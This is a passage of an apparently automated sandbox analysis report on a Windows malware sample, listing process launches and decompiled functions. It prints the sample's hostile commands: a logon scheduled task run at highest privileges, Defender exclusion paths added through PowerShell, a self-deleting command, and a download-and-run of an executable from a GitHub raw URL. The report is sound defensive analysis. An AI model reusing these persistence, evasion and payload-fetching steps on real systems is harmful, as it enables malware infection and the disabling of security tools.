Wow64 process (32bit):	false
Commandline:	cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	03:40:28
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	03:40:28
Start date:	21/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Imagebase:	0x7ff67e790000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	03:40:29
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	03:40:29
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	03:40:29
Start date:	21/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	03:40:30
Start date:	21/08/2024
Path:	C:\Windows\System32\console_zero.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\console_zero.exe
Imagebase:	0x7ff6f8c50000
File size:	477'696 bytes
MD5 hash:	74CF33F8C2FCB56F749AAF411B9AE302
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	03:40:30
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c schtasks /delete /tn "console_zero" /f
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 3880, Parent PID: 6488

General

Target ID:	74
Start time:	03:40:30
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	03:40:30
Start date:	21/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /delete /tn "console_zero" /f
Imagebase:	0x7ff67e790000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	03:40:31
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6708, Parent PID: 7080

General

Target ID:	77
Start time:	03:40:31
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	03:40:31
Start date:	21/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Imagebase:	0x7ff67e790000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	03:40:32
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	03:40:32
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	03:40:32
Start date:	21/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	03:40:48
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	03:40:48
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff799c70000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	03:40:48
Start date:	21/08/2024
Path:	C:\Windows\System32\crypti.exe
Wow64 process (32bit):	false
Commandline:	"c:\windows\system32\crypti.exe"
Imagebase:	0x7ff6d3520000
File size:	643'072 bytes
MD5 hash:	D8C562EEBC88199B8D0E7274782C531D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	03:40:55
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6720, Parent PID: 3800

General

Target ID:	86
Start time:	03:40:55
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	03:40:55
Start date:	21/08/2024
Path:	C:\Windows\System32\crypti.exe
Wow64 process (32bit):	false
Commandline:	"c:\windows\system32\crypti.exe"
Imagebase:	0x7ff6ea920000
File size:	643'072 bytes
MD5 hash:	D8C562EEBC88199B8D0E7274782C531D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	03:41:02
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	03:41:02
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	03:41:02
Start date:	21/08/2024
Path:	C:\Windows\System32\crypti.exe
Wow64 process (32bit):	false
Commandline:	"c:\windows\system32\crypti.exe"
Imagebase:	0x7ff7d6230000
File size:	643'072 bytes
MD5 hash:	D8C562EEBC88199B8D0E7274782C531D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	03:41:08
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	03:41:08
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	03:41:08
Start date:	21/08/2024
Path:	C:\Windows\System32\crypti.exe
Wow64 process (32bit):	false
Commandline:	"c:\windows\system32\crypti.exe"
Imagebase:	0x7ff63ab00000
File size:	643'072 bytes
MD5 hash:	D8C562EEBC88199B8D0E7274782C531D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	03:41:15
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Imagebase:	0x7ff6b13f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	03:41:15
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	03:41:15
Start date:	21/08/2024
Path:	C:\Windows\System32\crypti.exe
Wow64 process (32bit):	false
Commandline:	"c:\windows\system32\crypti.exe"
Imagebase:	0x7ff663a90000
File size:	643'072 bytes
MD5 hash:	D8C562EEBC88199B8D0E7274782C531D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	03:41:21
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	03:41:21
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	03:41:21
Start date:	21/08/2024
Path:	C:\Windows\System32\crypti.exe
Wow64 process (32bit):	false
Commandline:	"c:\windows\system32\crypti.exe"
Imagebase:	0x7ff659170000
File size:	643'072 bytes
MD5 hash:	D8C562EEBC88199B8D0E7274782C531D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	100
Start time:	03:41:28
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	101
Start time:	03:41:28
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	102
Start time:	03:41:28
Start date:	21/08/2024
Path:	C:\Windows\System32\crypti.exe
Wow64 process (32bit):	false
Commandline:	"c:\windows\system32\crypti.exe"
Imagebase:	0x7ff618410000
File size:	643'072 bytes
MD5 hash:	D8C562EEBC88199B8D0E7274782C531D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	103
Start time:	03:41:35
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	104
Start time:	03:41:35
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	105
Start time:	03:41:35
Start date:	21/08/2024
Path:	C:\Windows\System32\crypti.exe
Wow64 process (32bit):	false
Commandline:	"c:\windows\system32\crypti.exe"
Imagebase:	0x7ff6e0c70000
File size:	643'072 bytes
MD5 hash:	D8C562EEBC88199B8D0E7274782C531D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	106
Start time:	03:41:41
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	107
Start time:	03:41:41
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	108
Start time:	03:41:41
Start date:	21/08/2024
Path:	C:\Windows\System32\crypti.exe
Wow64 process (32bit):	false
Commandline:	"c:\windows\system32\crypti.exe"
Imagebase:	0x7ff7a6290000
File size:	643'072 bytes
MD5 hash:	D8C562EEBC88199B8D0E7274782C531D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14%
Total number of Nodes:	1065
Total number of Limit Nodes:	13

Executed Functions

Function 00007FF646E566B0 Relevance: 24.8, APIs: 8, Strings: 6, Instructions: 349
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF646E566FC
URLDownloadToFileW.URLMON ref: 00007FF646E56B1B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E56D58
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E56D5E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E56D64
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E56D6A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E56D70
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E56D76

Strings

{}\pyld64.exe, xrefs: 00007FF646E56738
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exe, xrefs: 00007FF646E56AC1
cmd.exe /c {}, xrefs: 00007FF646E56535
powershell -Command "Add-MpPreference -ExclusionPath '{}'", xrefs: 00007FF646E567BF
start "" "{}", xrefs: 00007FF646E56BC1
:, xrefs: 00007FF646E567CB

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CurrentDirectoryDownloadFile
String ID: :$cmd.exe /c {}$https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exe$powershell -Command "Add-MpPreference -ExclusionPath '{}'"$start "" "{}"${}\pyld64.exe
API String ID: 3881568712-293492150
Opcode ID: 3bd65feed952b0ad94b3697cae216dfbc650da4c0f19702ece63dfaa4f1c20c7
Instruction ID: cae4a5833f9a5f66f54106bae3d574338c965a5383c8510b5364ed84dd9a0b39
Opcode Fuzzy Hash: 3bd65feed952b0ad94b3697cae216dfbc650da4c0f19702ece63dfaa4f1c20c7
Instruction Fuzzy Hash: 0E12A321A1CBC281E751B77CE84426AABB0BB56374F104376DAFD855FADF2DA142CB01

Function 00007FF646E57820 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 173
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF646E582D0: Sleep.KERNEL32 ref: 00007FF646E58391
Part of subcall function 00007FF646E582D0: Sleep.KERNEL32 ref: 00007FF646E583A1
Part of subcall function 00007FF646E582D0: Sleep.KERNEL32 ref: 00007FF646E583CC

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF646E5789C
CheckTokenMembership.KERNELBASE ref: 00007FF646E578B0
FreeSid.ADVAPI32 ref: 00007FF646E578C6
GetModuleFileNameW.KERNEL32 ref: 00007FF646E578FA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E57A55
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E57AB1

Strings

timeout /t 10 /nobreak && del "{}", xrefs: 00007FF646E57921
", xrefs: 00007FF646E5792D

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Sleep$_invalid_parameter_noinfo_noreturn$AllocateCheckFileFreeInitializeMembershipModuleNameToken
String ID: "$timeout /t 10 /nobreak && del "{}"
API String ID: 2170925606-2375892666
Opcode ID: 6c58272db017810f1fb10a02c44dc568b704be8e37eb715e7faaa9869de241d5
Instruction ID: 9aec5db1940650594ee31ca1ac2fbe3662da7b4353c2d938dcf8177fd525c0a6
Opcode Fuzzy Hash: 6c58272db017810f1fb10a02c44dc568b704be8e37eb715e7faaa9869de241d5
Instruction Fuzzy Hash: 6A715F72F1CB5189FB00EBB9E8853ADA3B1FB48788F501136DA5D92A99DF39D184C700

Function 00007FF646E5AC44 Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF646E5B150: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF646E5B164

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF646E5AC68
__scrt_release_startup_lock.LIBCMT ref: 00007FF646E5ACD6
__scrt_get_show_window_mode.LIBCMT ref: 00007FF646E5AD29

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 06dcafce427ad2013d2a2520821c7d367541db3bd139956188ba7abefa0f1ead
Instruction ID: 60e872e363df591e5919c620e1d79802bb1405ce97649271f3e5eb7af2601bb5
Opcode Fuzzy Hash: 06dcafce427ad2013d2a2520821c7d367541db3bd139956188ba7abefa0f1ead
Instruction Fuzzy Hash: E0315E21E0D24785FA54BBA8A4653F9A3D1BF41389F445435EA0DCB6D3DE2FA404D711

Function 00007FF646E642A0 Relevance: 4.5, APIs: 3, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF646E6429E), ref: 00007FF646E642AC
TerminateProcess.KERNEL32(?,?,?,00007FF646E6429E), ref: 00007FF646E642B7
ExitProcess.KERNEL32 ref: 00007FF646E642C6

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 482119c73dbecc6f01a2d13653977d386b4c4b43497574547c26fc4dc47e9c88
Instruction ID: ede2c42ce1a52dd4fe7caf9c72b0602a36d7b22da925b759eb2b651afcc02f68
Opcode Fuzzy Hash: 482119c73dbecc6f01a2d13653977d386b4c4b43497574547c26fc4dc47e9c88
Instruction Fuzzy Hash: 83D09214B1C716C2EA483B706C9907993E17F5970AF106438C94FC7353CE2E680D4340

Function 00007FF646E582D0 Relevance: 3.8, APIs: 3, Instructions: 76
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF646E58391
Sleep.KERNEL32 ref: 00007FF646E583A1
Sleep.KERNEL32 ref: 00007FF646E583CC

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b3bccc84b5a53fe13569b691800b4932c2f92312b8723106b8d147b73f53ef98
Instruction ID: 469bdbde8e072a980469caf19a17a064d54da3ca85922b04ff2ea832fa939da7
Opcode Fuzzy Hash: b3bccc84b5a53fe13569b691800b4932c2f92312b8723106b8d147b73f53ef98
Instruction Fuzzy Hash: D6212761B1E35A82EF18BA99A41417FD2D2BF94BC0F088835DE5E8B7D5DD2EE4028300

Function 00007FF646E68D24 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FF646E68E41

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 00007FF646E68EF3, 00007FF646E68F01

Memory Dump Source

